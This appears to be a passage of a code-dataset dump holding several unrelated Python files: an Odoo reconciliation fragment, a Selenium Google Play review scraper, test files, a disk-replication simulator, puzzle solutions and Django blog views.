aml_dict['account_id'] = account.id\n aml_dict['amount_residual'] = debit - credit if account.reconcile else 0,\n aml_dict['debit_cash_basis'] = credit_cash_basis,\n aml_dict['credit_cash_basis'] = debit_cash_basis,\n aml_dict['balance_cash_basis'] = credit_cash_basis - debit_cash_basis,\n columns = aml_dict.keys()\n values = [aml_dict[column] for column in columns]\n self.env.cr.execute('''INSERT INTO account_move_line(%s) VALUES %s''', (AsIs(','.join(columns)), tuple(values)))\n account_move = self.env['account.move'].browse(move.id)\n account_move._amount_compute()\n account_move.post()\n # record the move name on the statement line to be able to retrieve it in case of unreconciliation\n st_line.write({'move_name': move.name})\n","sub_path":"pos_fast_reconcile/models/account_bank_statement.py","file_name":"account_bank_statement.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"409453331","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as ec\r\nfrom psutil import virtual_memory\r\nimport pandas as pd\r\nimport multiprocessing\r\nimport pyautogui\r\nimport datetime\r\nimport time\r\n\r\n\r\ndef convert_date(item_date):\r\n item_date = item_date.replace(\"년 \", \"-\").replace(\"월 \", \"-\").replace(\"일\", \"\")\r\n item_date = datetime.datetime.strptime(item_date, \"%Y-%m-%d\").date()\r\n return item_date\r\n\r\n\r\ndef merge_review(item_L_review, item_review):\r\n if item_review == '' and item_L_review != '':\r\n return item_L_review\r\n else:\r\n return item_review\r\n\r\n\r\nif __name__ == '__main__':\r\n url = \"https://play.google.com/store/apps/details?id=com.yantech.orient.tojung&hl=ko&showAllReviews=true\"\r\n url2 = \"https://play.google.com/store/apps/details?id=com.ipapas.sajulite&hl=ko&showAllReviews=true\"\r\n url3 = \"https://play.google.com/store/apps/details?id=com.un7qi3.forceteller&hl=ko&showAllReviews=true\"\r\n url4 = \"https://play.google.com/store/apps/details?id=com.thingsflow.hellobot&hl=ko&showAllReviews=true\"\r\n url5 = \"https://play.google.com/store/apps/details?id=handasoft.mobile.divination&hl=ko&showAllReviews=true\"\r\n\r\n tstart_time = time.time()\r\n driverPath = \"D:\\\\shin2no\\\\chromedriver.exe\"\r\n driver = webdriver.Chrome(driverPath)\r\n driver.get(url)\r\n pyautogui.keyDown('win')\r\n pyautogui.press('right', presses=2, interval=0.2)\r\n pyautogui.keyUp('win')\r\n pyautogui.press('enter')\r\n\r\n # 리뷰 최하위까지 스크롤 및 더보기 버튼 클릭\r\n wait = WebDriverWait(driver, 180)\r\n driver.find_element_by_xpath(\"//div[@class='ry3kXd Ulgu9']/div[@class='MocG8c UFSXYb LMgvRb KKjvXb']\").click()\r\n time.sleep(0.5)\r\n driver.find_element_by_xpath(\"//div[@class='OA0qNb ncFHed']/div[@data-value='2']\").click()\r\n time.sleep(0.5)\r\n new_height = 0\r\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n print(\">>> \\t last_height : %d \\t new_height : %d\" % (new_height, last_height))\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n\r\n while 1:\r\n wait.until(ec.invisibility_of_element_located((By.XPATH, \"//div[@jsname='lYU69']/div[@class='Fx1lse']\")))\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n\r\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n memory_usage = virtual_memory()[2]\r\n\r\n if new_height == last_height:\r\n if driver.find_elements_by_xpath(\"//span[@class='RveJvd snByac']\"):\r\n driver.execute_script(\"arguments[0].click();\",\r\n driver.find_element_by_xpath(\"//span[@class='RveJvd snByac']\"))\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n else:\r\n for i in range(3):\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n time.sleep(2)\r\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n if new_height != last_height:\r\n break\r\n print(\">>>>>> \\t %d th last height checking and wait 2secs...\" % (i + 1))\r\n if new_height == last_height and not driver.find_elements_by_xpath(\"//span[@class='RveJvd snByac']\"):\r\n print(\"******** finished <> ********\")\r\n break\r\n print(\">>>>>> \\t last_height : %d \\t new_height : %d \\t memory_usage : %.1f%%\" % (\r\n last_height, new_height, memory_usage))\r\n last_height = new_height\r\n #elif new_height > 80000:\r\n # driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n # break\r\n elif memory_usage > 86.9 or new_height > 3000000: # 크롬 메모리 부족으로 인한 종료 방지\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n print(\">>> \\t The usage of system memory exceeds 90%, stopping crawling.\")\r\n break\r\n else:\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n print(\">>> \\t last_height : %d \\t new_height : %d \\t memory_usage : %.1f%%\" % (\r\n last_height, new_height, memory_usage))\r\n last_height = new_height\r\n time.sleep(5)\r\n\r\n # 장문 리뷰 전체 리뷰 버튼 일괄 클릭 동작\r\n spread_review = driver.find_elements_by_xpath(\"//button[@jsaction='click:TiglPc']\")\r\n for i in range(len(spread_review)):\r\n if spread_review[i].is_displayed():\r\n driver.execute_script(\"arguments[0].click();\", spread_review[i]) # 클릭 대상이 가려져 execute_script()를 사용해야함\r\n time.sleep(0.5)\r\n print(\">>> \\t (%d/%d)th review button is clicked...\" % ((i + 1), len(spread_review)))\r\n print(\"******** finished << all_review button >> clicking ********\")\r\n time.sleep(5)\r\n\r\n # 크롤링\r\n num_cores = multiprocessing.cpu_count()\r\n\r\n start_time = time.time()\r\n L_reviews = [element.text for element in driver.find_elements_by_xpath(\"//span[@jsname='fbQN7e']\")]\r\n T_reviews = [[element.text, element] for element in driver.find_elements_by_xpath(\"//span[@class='IEFhEe']\")]\r\n print(\"******** finished << L/T_review : %s, %s >> crawling ********\" % (len(L_reviews), str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0]))\r\n\r\n start_time = time.time()\r\n reviews = [element.text for element in driver.find_elements_by_xpath(\"//span[@jsname='bN97Pc']\")]\r\n print(\"******** finished << review : %s >> crawling ********\" % str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0])\r\n\r\n start_time = time.time()\r\n for xpath in T_reviews: # xpath 경로 얻어와서 반복되는 div의 n번째 값 확인\r\n xpath[1] = driver.execute_script(\"gPt=function(c){if(c.id!==''){return'id(\\\"'+c.id+'\\\")'}if(c===document.body){return c.tagName}var a=0;var e=c.parentNode.childNodes;for(var b=0;b> crawling ********\" %\r\n str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0])\r\n\r\n start_time = time.time()\r\n dates = [element.text for element in driver.find_elements_by_xpath(\"//div[@class='bAhLNe kx8XBd']/div/span[@class='p2TkOb']\")]\r\n pool = multiprocessing.Pool(num_cores)\r\n dates = pool.map(convert_date, dates)\r\n pool.close()\r\n pool.join()\r\n print(\"******** finished << date : %s >> crawling and replace ********\" %\r\n str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0])\r\n\r\n start_time = time.time()\r\n likes = [element.text for element in driver.find_elements_by_xpath(\"//div[@aria-label='이 리뷰가 유용하다는 평가를 받은 횟수입니다.']\")]\r\n print(\"******** finished << like : %s >> crawling ********\" %\r\n str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0])\r\n\r\n start_time = time.time()\r\n stars = [element.get_attribute('aria-label')[10:11] for element in driver.find_elements_by_xpath(\"//span[@class='nt2C1d']/div[@class='pf5lIe']/div[@role='img']\")]\r\n print(\"******** finished << star : %s >> crawling ********\" %\r\n str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0])\r\n\r\n # 데이터 통합\r\n start_time = time.time()\r\n results = list(zip(dates, stars, likes, reviews))\r\n print(\"******** finished << review merge : %s >> ********\" %\r\n str(datetime.timedelta(seconds=time.time() - start_time)).split(\".\")[0])\r\n\r\n # csv 저장\r\n data = pd.DataFrame(results, dtype='object')\r\n data.columns = ['날짜', '평점', '동의', '리뷰']\r\n pkg_name = url.split('?id=')[-1].split('&')[0]\r\n date_format = datetime.datetime.strftime(datetime.datetime.now(), \"%Y-%m-%d_%H-%M-%S\")\r\n file_name = pkg_name + \"_\" + date_format\r\n data.to_csv('D:\\\\google_review\\\\{}.csv'.format(file_name), encoding='utf-8-sig')\r\n print(str(datetime.timedelta(seconds=time.time() - tstart_time)).split(\".\")[0])\r\n driver.quit()\r\n","sub_path":"crawling.py","file_name":"crawling.py","file_ext":"py","file_size_in_byte":8794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"67286848","text":"#import keras\r\n#from keras.layers import Input, Dense, merge\r\n#from keras.models import Model\r\n#from keras.layers import Conv2D, MaxPooling2D, Reshape, BatchNormalization\r\n#from keras.layers import Activation, Dropout, Flatten, Dense\r\n#from keras.models import load_model\r\nimport numpy as np\r\nfrom PIL import Image, ImageDraw\r\nimport os\r\nimport numpy\r\n\r\n# Model path\r\nmodel_path = 'Models/'\r\n\r\ndef predict(im, y, index, folder = \"predictions\"):\r\n\tlineheight = 20\r\n\tpadding = 20\r\n\tbaseh = height-10\r\n\td = ImageDraw.Draw(im)\r\n\tfor i in range(5):\r\n\t\tx = width/2 - padding * (i-2)\r\n\t\td.line([(x, baseh),(x, baseh - lineheight * y[i])], fill=None, width=5)\r\n\tim.save(folder + \"/\" + str(index)+\".jpeg\")\r\n\r\nSOURCE = \"AXIO\"\r\nSOURCE = \"FB\"\r\n\r\nif(SOURCE == \"AXIO\"):\r\n\tprint(\"Load data\")\r\n\tX_axio = np.load('Datasets/axionable_data/X_train_axio.npy')\r\n\tY_axio = np.load('Datasets/axionable_data/Y_train_axio.npy')\r\n\tY = np.load(\"predicted.npy\")\r\n\tprint(\"Predicted\", Y[:10])\r\n\r\n\t# (26449, 90, 250, 3)\r\n\tshape = X_axio.shape\r\n\twidth = shape[2]\r\n\theight = shape[1]\r\n\r\n\tfor index in range(shape[0])[:1000]:\r\n\t\tim = Image.fromarray(X_axio[index])\r\n\t\ty = Y[index]\r\n\t\tpredict(im, y, index)\r\n\r\nif(SOURCE == \"FB\"):\r\n\tY = np.load(\"predicted1.npy\")\r\n\tprint(\"Predicted\", Y[:10])\r\n\r\n\tpath = \"D:\\\\Workspace\\\\IronCar\\\\DataSets\\\\FACE\\\\car_repo\\\\records\\\\\"\r\n\tfiles = os.listdir(path)\r\n\tindex = 0\r\n\tfor file in files:\r\n\t\tim = numpy.asarray(Image.open(path + file))\r\n\t\tim = im[-110:-20,:,:]\r\n\r\n\t\t# (26449, 90, 250, 3)\r\n\t\tshape = im.shape\r\n\t\twidth = shape[1]\r\n\t\theight = shape[0]\r\n\r\n\r\n\t\tim = Image.fromarray(im)\r\n\t\ty = Y[index]\r\n\t\tpredict(im, y, index, \"predictions1\")\r\n\t\tindex+=1\r\n\r\n\r\n#for file in files:\r\n#\tim = numpy.asarray(Image.open(path + file))\r\n#\tim = im[:90,:,:]\r\n#\tim = Image.fromarray(im)\r\n#\ty = Y[index]\r\n#\tpredict(im, y, index)\r\n\r\n","sub_path":"src/experiments/generalisation-test.20181118.kkn/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"127193234","text":"# Generalised Hamming Numbers\n# Problem 204\n\nimport help \n\ndef solve(m, max):\n pr = help.primesUpTo(m)\n print(countHamming(pr, max))\n \ndef countHamming(pr, max):\n return len(getHamming(pr, max))\n \ndef getHamming(pr, max):\n hamming = []\n if len(pr) == 0:\n return [1]\n for h in getHamming(pr[1:], max):\n p = 1\n while p*h <= max:\n hamming.append(p*h)\n p *= pr[0]\n return hamming","sub_path":"problem204.py","file_name":"problem204.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"141687977","text":"import os\nimport glob\nimport re\nfrom typing import Any, Dict, Optional\n\nimport pytest\nfrom pandas import DataFrame\n\nfrom lasso import Project\n\n\"\"\"\nRun tests from bash/shell\nRun just the tests labeled project using `pytest -m project`\nTo run with print statments, use `pytest -s -m project`\n\"\"\"\nCUBE_DIR = os.path.join(os.getcwd(), \"examples\", \"cube\")\nROADWAY_DIR = os.path.join(os.getcwd(), \"examples\", \"stpaul\")\nBUILD_TRANSIT_DIR = os.path.join(CUBE_DIR, \"single_transit_route_attribute_change\")\nSCRATCH_DIR = os.path.join(os.getcwd(), \"tests\", \"scratch\")\n## create list of example logfiles to use as input\nlogfile_list = [os.path.join(CUBE_DIR, \"st_paul_test.log\")]\n\n\n@pytest.mark.parametrize(\"logfilename\", logfile_list)\n@pytest.mark.travis\ndef test_logfile_read(request, logfilename):\n \"\"\"\n Tests that the logfile can be read in and\n produces a DataFrame.\n \"\"\"\n print(\"\\n--Starting:\", request.node.name)\n\n print(\"Reading: {}\".format(logfilename))\n lf = Project.read_logfile(logfilename)\n assert type(lf) == DataFrame\n\n\n@pytest.mark.parametrize(\"logfilename\", logfile_list)\n@pytest.mark.travis\ndef test_highway_project_card(request, logfilename):\n \"\"\"\n Tests that the logfile can be read in and\n produces a DataFrame.\n \"\"\"\n print(\"\\n--Starting:\", request.node.name)\n\n print(\"Reading: {}\".format(logfilename))\n lf = Project.read_logfile(logfilename)\n assert type(lf) == DataFrame\n\n test_project = Project.create_project(\n roadway_log_file=logfilename, base_roadway_dir=ROADWAY_DIR\n )\n\n assert type(test_project.roadway_changes) == DataFrame\n # assert(type(test_project.card_data)==Dict[str, Dict[str, Any]])\n assert type(test_project.card_data) == dict\n\n test_project.write_project_card(\n os.path.join(\n SCRATCH_DIR,\n \"t_\" + os.path.splitext(os.path.basename(logfilename))[0] + \".yml\",\n )\n )\n\n\n@pytest.mark.parametrize(\"logfilename\", logfile_list)\n@pytest.mark.skip(\"Need to update project card schema\")\ndef test_highway_change_project_card_valid(request, logfilename):\n print(\"\\n--Starting:\", request.node.name)\n\n print(\"Reading: {}\".format(logfilename))\n lf = Project.read_logfile(logfilename)\n test_project = Project.create_project(\n roadway_log_file=logfilename, base_roadway_dir=ROADWAY_DIR\n )\n\n test_project.write_project_card(\n os.path.join(\n SCRATCH_DIR,\n \"t_\" + os.path.splitext(os.path.basename(logfilename))[0] + \".yml\",\n )\n )\n\n from network_wrangler import ProjectCard\n\n valid = ProjectCard.validate_project_card_schema(\n os.path.join(\n SCRATCH_DIR,\n \"t_\" + os.path.splitext(os.path.basename(logfilename))[0] + \".yml\",\n )\n )\n\n assert valid == True\n","sub_path":"tests/test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"224811348","text":"\"\"\"\n@author: Murad.Mirzabalaev\n\"\"\"\nfrom itertools import islice, cycle\nfrom random import choice, sample\nimport itertools\n\nfrom cluster_io_model import Disk, Request, Monitor, request_status, GIGABYTE, Client, MEGABYTE, \\\n MILLISECOND, request_type, \\\n DISK_READ_SPEED, DISK_WRITE_SPEED\n\n\ndef chunks(n, iterable, fillvalue=None):\n args = [iter(iterable)] * n\n return itertools.zip_longest(fillvalue=fillvalue, *args)\n\n\ndef enum(**enums):\n return type('Enum', (), enums)\n\n\nDISK_CAPACITY = 500\n\nchunks_placement_scheme = enum(\n random='random',\n sharding='sharding',\n groups='groups',\n clusters='clusters'\n)\n\nchunk_server_choice_policy = enum(\n random='random',\n less_loaded='less loaded',\n min_disk_id='minimal disk id'\n)\n\n\nclass ModifiedRequest(Request):\n def __init__(self, cl_id, req_id, disk_list, req_size, req_type):\n Request.__init__(self, cl_id, req_id, disk_list, req_size, req_type)\n self.disk_id = self.client_id\n\n\nclass ModifiedDisk(Disk):\n def __init__(self, monitor, disk_id, rpms=7200,\n time_quant=.01, read_speed=DISK_READ_SPEED, write_speed=DISK_WRITE_SPEED):\n Disk.__init__(self, None, disk_id, rpms, time_quant, read_speed, write_speed)\n self.monitor = monitor\n\n def send(self, request):\n self.request_queue.remove(request)\n self.monitor.receive(request)\n\n def on_time_quant_increment(self):\n Disk.on_time_quant_increment(self)\n\n def receive(self, request):\n assert request.status == request_status.client_to_disk and request.disk_id == self.disk_id\n Disk.receive(self, request)\n\n\nclass ModifiedClient(Client):\n def __init__(self, client_id, monitor, disk_list, block_size):\n self.disk_list = None\n self.monitor = monitor\n self.block_size = block_size\n self.clid = client_id\n self.send_queue = []\n self.disk_list = disk_list\n\n def send(self, request):\n req_type = choice([request_type.read, request_type.write])\n req = ModifiedRequest(self.clid, request, None, self.block_size, req_type=req_type)\n req.status = request_status.client_to_disk\n self.disk_list[req.disk_id].receive(req)\n\n def receive(self, request):\n self.send_queue.append(request)\n\n def on_time_quant_increment(self):\n if self.send_queue:\n req_id = self.send_queue.pop()\n self.send(req_id)\n\n\nclass ReplicationMonitor(Monitor):\n def __init__(self, disk_num, block_size, n, k, disk_capacity=DISK_CAPACITY,\n chunks_placement=chunks_placement_scheme.random,\n chunk_serv_choice_policy=chunk_server_choice_policy.random,\n broken_disks_percent=1, used_space_percent=60,\n disks_per_cluster=20, replicating_blocks_num=100,\n time_quant=.01):\n\n self.disk_num = disk_num\n self.time = 0.0\n self.time_quant = time_quant\n self.used_space_percent = used_space_percent\n self.n = n\n self.k = k\n self.disk_capacity = disk_capacity * GIGABYTE\n self.disks = {}\n self.clients = {}\n self.block_size = float(block_size) * MEGABYTE\n self.blocks = int((disk_num * self.disk_capacity * (1.0 - self.used_space_percent * 0.01 )) /\n (self.block_size * self.n))\n self.broken_disks_percent = broken_disks_percent\n self.replicating_blocks_num = replicating_blocks_num\n self.broken_blocks = {}\n self.broken_disks = []\n self.replicating_blocks = []\n self.chunk_placement = chunks_placement\n self.chunk_serv_choice_policy = chunk_serv_choice_policy\n self.replication_data = 0.0\n self.disks_per_cluster = disks_per_cluster\n if self.chunk_placement == chunks_placement_scheme.clusters:\n if self.disk_num % self.disks_per_cluster != 0:\n res = self.disks_per_cluster - (self.disk_num % self.disks_per_cluster)\n self.disk_num += res\n if self.chunk_placement == chunks_placement_scheme.groups:\n if self.disk_num % self.n != 0:\n res = self.n - (self.disk_num % self.n)\n self.disk_num += res\n for disk_id in range(0, self.disk_num):\n self.disks[disk_id] = ModifiedDisk(self, disk_id, time_quant=self.time_quant)\n self.clients[disk_id] = ModifiedClient(disk_id, self, self.disks,\n self.block_size)\n self.generate_block_distribution()\n for disk_id in self.broken_disks:\n del self.disks[disk_id]\n del self.clients[disk_id]\n\n def generate_block_distribution(self):\n self.broken_blocks = {}\n if self.chunk_placement == chunks_placement_scheme.random:\n\n for block_id in range(0, self.blocks):\n self.broken_blocks[block_id] = sample(range(0, self.disk_num), self.n)\n\n if self.chunk_placement == chunks_placement_scheme.sharding:\n left_border = 0\n for block_id in range(0, self.blocks):\n right_border = left_border + self.n\n self.broken_blocks[block_id] = list(islice(cycle(self.disks.keys()), left_border, right_border))\n left_border += 1\n\n if self.chunk_placement == chunks_placement_scheme.groups:\n groups = list(chunks(self.n, range(0, self.disk_num)))\n for block_id in range(0, self.blocks):\n self.broken_blocks[block_id] = sample(choice(groups), self.n)\n\n if self.chunk_placement == chunks_placement_scheme.clusters:\n clusters = list(chunks(self.disks_per_cluster, range(0, self.disk_num)))\n for block_id in range(0, self.blocks):\n self.broken_blocks[block_id] = sample(choice(clusters), self.n)\n\n self.generate_failure()\n if self.check_data_loss():\n while self.check_data_loss():\n self.generate_block_distribution()\n self.generate_failure()\n\n def generate_failure(self):\n broken_disks_num = int(len(self.disks) * self.broken_disks_percent * 0.01)\n self.broken_disks = sample(range(0, len(self.disks)), broken_disks_num)\n\n for block_id in self.broken_blocks:\n for disk_id in self.broken_disks:\n if disk_id in self.broken_blocks[block_id]:\n self.broken_blocks[block_id].remove(disk_id)\n\n self.broken_blocks = {key: value for key, value in self.broken_blocks.items()\n if len(self.broken_blocks[key]) < self.n}\n\n for block_id in self.broken_blocks:\n self.replication_data += ((self.n - len(self.broken_blocks[block_id])) * self.block_size)\n\n def get_new_request_data(self, policy):\n if policy == chunk_server_choice_policy.random:\n\n block_id = choice(\n [block_id for block_id in list(self.broken_blocks.keys()) if block_id not in self.replicating_blocks])\n random_disk = choice(\n [disk_id for disk_id in self.broken_blocks[block_id] if disk_id not in self.broken_disks])\n if len(self.broken_blocks[block_id]) < self.n:\n self.replicating_blocks.append(block_id)\n self.broken_blocks[block_id].append(choice(self.broken_disks))\n if len(self.broken_blocks[block_id]) == self.n:\n del self.broken_blocks[block_id]\n return block_id, random_disk\n\n if policy == chunk_server_choice_policy.less_loaded:\n\n block_id = choice(\n [block_id for block_id in list(self.broken_blocks.keys()) if block_id not in self.replicating_blocks])\n chunk_servers = [disk_id for disk_id in self.broken_blocks[block_id] if disk_id not in self.broken_disks]\n less_loaded_disk = None\n\n for chnk_srvr_id in chunk_servers:\n if less_loaded_disk == None:\n less_loaded_disk = chnk_srvr_id\n if len(self.disks[chnk_srvr_id].request_queue) < len(self.disks[less_loaded_disk].request_queue):\n less_loaded_disk = chnk_srvr_id\n\n if len(self.broken_blocks[block_id]) < self.n:\n self.replicating_blocks.append(block_id)\n self.broken_blocks[block_id].append(choice(self.broken_disks))\n if len(self.broken_blocks[block_id]) == self.n:\n del self.broken_blocks[block_id]\n return block_id, less_loaded_disk\n\n if policy == chunk_server_choice_policy.min_disk_id:\n\n block_id = choice(\n [block_id for block_id in list(self.broken_blocks.keys()) if block_id not in self.replicating_blocks])\n chunk_servers = [disk_id for disk_id in self.broken_blocks[block_id] if disk_id not in self.broken_disks]\n min_disk_id = min(chunk_servers)\n\n if len(self.broken_blocks[block_id]) < self.n:\n self.replicating_blocks.append(block_id)\n self.broken_blocks[block_id].append(choice(self.broken_disks))\n if len(self.broken_blocks[block_id]) == self.n:\n del self.broken_blocks[block_id]\n return block_id, min_disk_id\n\n def receive(self, request):\n self.replicating_blocks.remove(request.req_id)\n\n def check_data_loss(self):\n if self.broken_blocks:\n for block_id in self.broken_blocks:\n if len(self.broken_blocks[block_id]) < self.k:\n return True\n return False\n\n\n def Run(self):\n while len(self.broken_blocks) > 0:\n self.time += self.time_quant\n while len(self.replicating_blocks) <= self.replicating_blocks_num and len(self.broken_blocks) > len(\n self.replicating_blocks):\n block_id, client_id = self.get_new_request_data(self.chunk_serv_choice_policy)\n self.clients[client_id].receive(block_id)\n\n for disk_id in self.disks:\n self.clients[disk_id].on_time_quant_increment()\n self.disks[disk_id].on_time_quant_increment()\n\n replication_time = self.time * MILLISECOND / 60.0\n mean_replication_data = self.replication_data / len(self.disks)\n throughput = self.replication_data / float(self.time * MILLISECOND)\n return replication_time, mean_replication_data, throughput","sub_path":"replication_model_nk_coding.py","file_name":"replication_model_nk_coding.py","file_ext":"py","file_size_in_byte":10460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"281935662","text":"\"\"\" end-to-end test Buy new and old product \"\"\"\nimport unittest\nfrom random import randint\n\nfrom tools.random_strings import random_name\nfrom common.base_tests.gui_basetest import BaseTest\nfrom common.pages.catalog import CatalogPage\nfrom common.pages.product import ProductPage\nfrom common.pages.payment import PaymentPage\nfrom common.pages.payment_review import PaymentReviewPage\nfrom common.pages.payment_info import PaymentInfoPage\nfrom common.pages.success import SuccessPage\n\nfrom common.data._impoved import *\nfrom common.common_actions import assert_and_log, back\nfrom common.common_actions import navigate_to\nfrom common.common_actions import validate\n\nfrom common.process_request import ProcessRequest\n\nclass TC303(BaseTest):\n \"\"\"\n Validating end-to-end scenario of buying 2 products: new and old\n \"\"\"\n def setUp(self):\n \"\"\"\n Create a new product for the scenario\n It would be deleted at the tearDown\n :return:\n \"\"\"\n super().setUp()\n list_of_product_types = [\n 'default_product_variant',\n 'multiple_product_variants',\n 'ceo_title'\n ]\n self.new_product = eval(f\"get_new_product_with_\" \\\n f\"{list_of_product_types[randint(0, len(list_of_product_types) - 1)]}()\")\n response = ProcessRequest('products.json').send_request(\n 'POST',\n data=self.new_product,\n expected_return_codes=[201],\n )\n self.product_id = response.response['product']['id']\n def test_buy_now(self):\n \"\"\"\n Create a new product and buy it along with existing one\n :return:\n \"\"\"\n catalog_page = CatalogPage(self.driver)\n product_page = ProductPage(self.driver)\n payment_page = PaymentPage(self.driver)\n payment_review_page = PaymentReviewPage(self.driver)\n payment_info_page = PaymentInfoPage(self.driver)\n success_page = SuccessPage(self.driver)\n # buy the new product\n navigate_to(self.driver, ProductPage.URL(self.new_product['product']['title']))\n product_page.add_to_cart.click()\n # by an old product\n catalog_page.catalog.click()\n # Sort products to move the newly created to last page\n catalog_page.sorting_order.select_by_visible_text(\"Date, old to new\")\n catalog_page.image.random_click()\n product = product_page.product.get_text()\n product_page.add_to_cart.click()\n catalog_page.catalog.click()\n catalog_page.cart.click()\n payment_dic = {\n 'address' : f'{randint(1, 99999)} {random_name(5, 8)}',\n 'city' : \"San Francisco\",\n 'email_or_mobile_phone_number_input' : random_name(8) + \"@gmail.com\",\n 'last_name' : random_name(3, 12),\n 'zip_code' : '94107',\n }\n if randint(0, 1):\n payment_dic['first_name'] = random_name(4, 16)\n if randint(0, 1):\n payment_dic['address2'] = random_name(5)\n for _ in payment_dic:\n exec(f\"payment_page.{_}.enter(payment_dic['{_}'])\")\n payment_page.continue_to_shipping.click()\n payment_review_page.continue_to_payment.click()\n payment_info_page.full_address.get_text()\n # validate address\n for _ in ['address', 'city', 'zip_code']:\n assert_and_log(payment_dic[_] in payment_info_page.full_address.get_text(),\n f\"{_} in full address\")\n payment_info_page.enter_bogus_payment(1)\n assert_and_log(success_page.thank_you.find_visible_element(),\n \"'Thank you' appeared as a sign of successful transaction\",\n continue_on_error=False)\n validate(success_page.basic_validation_list)\n\n def tearDown(self):\n \"\"\"\n in addition to default tearDown delete new product that was created in setUp\n :return:\n \"\"\"\n ProcessRequest(f\"products/{self.product_id}.json\").send_request(\n 'DELETE', continue_on_error=True)\n super().tearDown()\n\nif __name__ == '__main__':\n unittest.main(warnings='ignore')\n","sub_path":"common/tests/returnly/end_to_end/tc304_buy_new_and_old_product.py","file_name":"tc304_buy_new_and_old_product.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"210737761","text":"import math\r\n\r\ndef calc(n,m):\r\n\tm*=2\r\n\tu = int(math.sqrt(m))\r\n\tif u*(u+1) <= m: u+=1\r\n\treturn min(n,u)\r\n\r\n\r\ndef main():\r\n\tt = int(input())\r\n\tfor _ in range(t):\r\n\t\tn,m = map(int,input().split())\r\n\t\tprint(calc(n,m))\r\n\r\nif __name__ == '__main__':\r\n\tmain()","sub_path":"HackerRank/Algorithms/Graph/Clique.py","file_name":"Clique.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"13532167","text":"from django.shortcuts import render, get_object_or_404\r\nfrom .models import BlogType, Blog\r\nfrom django.db.models import Count\r\nfrom django.core.paginator import Paginator\r\nfrom read_record.utils import read_record_once_read \r\nfrom comment.forms import CommentForm\r\nfrom Myblog.forms import LoginForm\r\n\r\n# Create your views here.\r\n\r\n\r\ndef blogs_with_paginator(request, blogs):\r\n paginator = Paginator(blogs, 5)\r\n page_nums = request.GET.get('page', 1)\r\n page_of_blog = paginator.get_page(page_nums)\r\n curent_page = page_of_blog.number #当前页面的页码数\r\n page_range = list(range(max(curent_page-1, 1), curent_page))+list(range(curent_page, min(curent_page+1, paginator.num_pages)+1))\r\n if curent_page-1 >= 3:\r\n page_range.insert(0, '...')\r\n if paginator.num_pages-curent_page >= 3:\r\n page_range.append('...')\r\n\r\n if page_range[0] != 1:\r\n page_range.insert(0, 1)\r\n if page_range[-1] != paginator.num_pages:\r\n page_range.append(paginator.num_pages)\r\n context = {}\r\n context['blogs'] = page_of_blog.object_list\r\n context['page_range'] = page_range\r\n context['page_nums'] = page_of_blog\r\n return context\r\n\r\n\r\n\r\ndef blog_list(request):\r\n blogs = Blog.objects.all()\r\n context = blogs_with_paginator(request, blogs)\r\n return render(request, 'blog_list.html', context)\r\n\r\n\r\ndef blog_detail(request, blog_pk):\r\n blog = get_object_or_404(Blog, pk=blog_pk)\r\n read_cookie_key = read_record_once_read(request, blog)\r\n previous_blog = Blog.objects.filter(create_time__gt=blog.create_time).last()\r\n next_blog = Blog.objects.filter(create_time__lt=blog.create_time).first()\r\n context = {}\r\n context['blog'] = blog\r\n context['previous_blog'] = previous_blog\r\n context['next_blog'] = next_blog\r\n context['login_form'] = LoginForm()\r\n response = render(request, 'blog_detail.html', context)\r\n response.set_cookie(read_cookie_key, 'true')\r\n return response\r\n print(request.POST)\r\n\r\n\r\ndef blog_type_list(request):\r\n blog_types = BlogType.objects.annotate(blog_count=Count('blog'))\r\n context = {}\r\n context['blog_types'] = blog_types\r\n return render(request, 'blog_type_list.html', context)\r\n\r\n\r\ndef blog_with_type(request, blog_type_pk):\r\n blog_type = get_object_or_404(BlogType, pk=blog_type_pk)\r\n blogs = Blog.objects.filter(type=blog_type)\r\n context = blogs_with_paginator(request, blogs)\r\n return render(request, 'blog_type.html', context)\r\n\r\n\r\ndef blog_date_list(request):\r\n dates_of_list = Blog.objects.dates('create_time', 'month', order='DESC')\r\n blog_date_dict = {}\r\n for blog_date in dates_of_list:\r\n blog_count = Blog.objects.filter(create_time__year=blog_date.year,\r\n create_time__month=blog_date.month).count()\r\n blog_date_dict[blog_date] = blog_count\r\n context = {}\r\n context['dates_of_list'] = blog_date_dict\r\n return 